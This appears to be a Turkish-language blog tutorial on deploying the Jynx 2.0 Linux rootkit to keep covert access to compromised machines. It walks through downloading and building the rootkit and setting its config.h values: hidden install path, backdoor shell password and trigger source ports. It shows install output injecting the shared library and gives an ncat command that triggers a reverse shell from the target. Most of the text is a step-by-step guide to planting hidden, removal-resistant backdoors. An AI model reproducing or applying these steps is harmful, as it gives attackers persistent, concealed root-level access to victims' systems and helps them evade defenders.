Merhaba
Hem hacker’lar için hemde sızma testi uzmanları için ele geçirilen sistemde kalıcı olmak önemlidir. Ele geçirilen sistemlere daha sonraki günlerde tekrar erişim sağlama amacıyla geliştirilmiş Rootkit isminde yazılımlar mevcuttur. Bu yazıda anlatılacak olan rootkit Jynx adında C ile geliştirilmiş bir yazılımdır.
Rootkit Nasıl Çalışır
Genellikle bulaştıkları sistemlerde bir port’u dinlemeye alırlar. Bu port’a gelen özel bir paket olduğunda -ki bu paketi backdoor’u yerleştiren hacker’dan başkası genelde bilmemektedir- , paketi gönderen ip adresine bağlantı açarak sistem shell’i sunarlar. Bu şekilde hacker’lar ele geçirdikleri sistemlere istedikleri zaman tekrar erişim sağlayabilmektedirler.
Jynx 2.0 ve Özellikleri
Rootkit yazılımlarının en önemli özellikleri, bulaştıkları sistemlerde kendilerini gizlemeleridir. Aşağıdaki listede Jynx ‘ın sahip olduğu özellikler mevcuttur.
- Dinlediği port’u netstat komutundan gizleme
- Kendisini ps/top ve /proc listelerinden gizleme
- Kendi dosyalarını sistem üzerinde gizleme
- Bağlantıyı SSL üzerinden açarak trafik bazlı tespit edilebilmekten kaçma
- Birden fazla yöntem ile oturum sağlama imkanı
- Tespit edildiğinde silinmesini zorlaştıran özellikler
Kurulum ve Konfigürasyonu
Öncelikle Jynx2.0 rootkit’ini http://mehmetince.net/tools/jynx2.tgz adresinden indirebilirsiniz. Bu yazıda ele alınan jynx rookit’inin kurulumu VirtualBox sanal makinasına kurulmuş CentOS 6.4 32bit işletim sistemi üzerinde uygulanmıştır.
cd /tmp wget http://mehmetince.net/tools/jynx2.tgz tar xvf jynx2.tgz cd jynx2
jynx2 klasörü içerisinde aşağıda ki dosyalar mevcuttur.
config.h jynx2.c Makefile packer.sh README reality.c
config.h = Jynx rootkit’inin ayarlarının bulunduğu header dosyası.
jynx2.c ve reality.c= Rootkit derleme işleminde 2 adet so dosyası oluşturur. jynx.so rootkit’in kendi işlemlerini içerirken, reality.so hacker’ın rootkit’in dosyalarını ve processlerini görebilmesini sağlar.
packer.sh = install.sh oluşturur ve daha sonra Jynx başka sistemlerde kullanılacağı zaman derlenmiş binary’leri hızlıca yüklemeye sağlar.
Config.h dosyasının içerisinde 2 adet define işlemi rootkit’in çalışması açısından önemli.
#define MAGIC_STRING "XxJynx" #define REALITY_PATH "/XxJynx/reality.so"
MAGIC_STRING = Jynx rootkitinin kurulacağı full path’i belirtir. Bu path, rootkit’in kullandığı teknikler ile root kullanıcısından saklanacaktır.
REALITY_PATH = reality.so dosyasının yerleşeceği dizindir. Bu dizinide root kullanıcısından saklamak için MAGIC_STRING’den yararlanılabilir. Bir üstte satırda belirtildiği üzere MAGIC_STRING jynx rootkit’inin kullandığı teknikler ile root kullanıcısından saklanacaktır. MAGIC_STRING’ın bu özelliğini kullanarak reality.so dosyasınıda saklamak için REALITY_PATH için /$MAGIC_STRING/reality.so tanımlaması yapılabilir.
Ayrıca config.h içerisinde aşağıdaki satırlarda bağlantının gerçekleşmesi için önemlidir. Rootkit’lerin hacker’a bağlantı açabilmesi için bir paket beklediğini biliyoruz. Bu özel paketi herkes gönderebileceği için Jynx rootkit oturumu gerçekleştirmeden önce şifre sormakta. Bu şifreyi SHELL_PASSWD ile tanımlayabilirsiniz.
Rootkit’i aktifleştirmek için gönderilen paketin kaynak portu 41 ile 43 numaralı portlar arasında olmalıdır. Bunun sebebi ise bu aralıktaki portların inbound connection için ayırtılmış olmasıdır. Normal kullanıcıların gönderdiği paketlerin Jynx rootkit’inin trigger etmemesi için bu aralık seçilmektedir.
#define SHELL_PASSWD "DEFAULT_PASS" #define LOW_PORT 41 #define HIGH_PORT 43
Derleme işlemi için;
make make install
Derleme işlemi sonucunda Jynx sisteme yerleşmektedir.
[root@dhcppc20 jynx2]# make install [-] Initiating Installation Directory /etc/mehmet [-] Installing jynx2.so and reality.so [-] Morphing Magic GID (7) [-] Injecting jynx2.so
Hedef sistemde ki rootkit’in bize bağlantı oluşturması için ncat üzerinden bağlantı gerçeleştirebilirsiniz.
sudo ncat --ssl 192.168.1.22 80 -p 42 133737 Bump with shell. >uname Linux
Referans:
http://www.blackhatlibrary.net/Jynx_Rootkit/1.0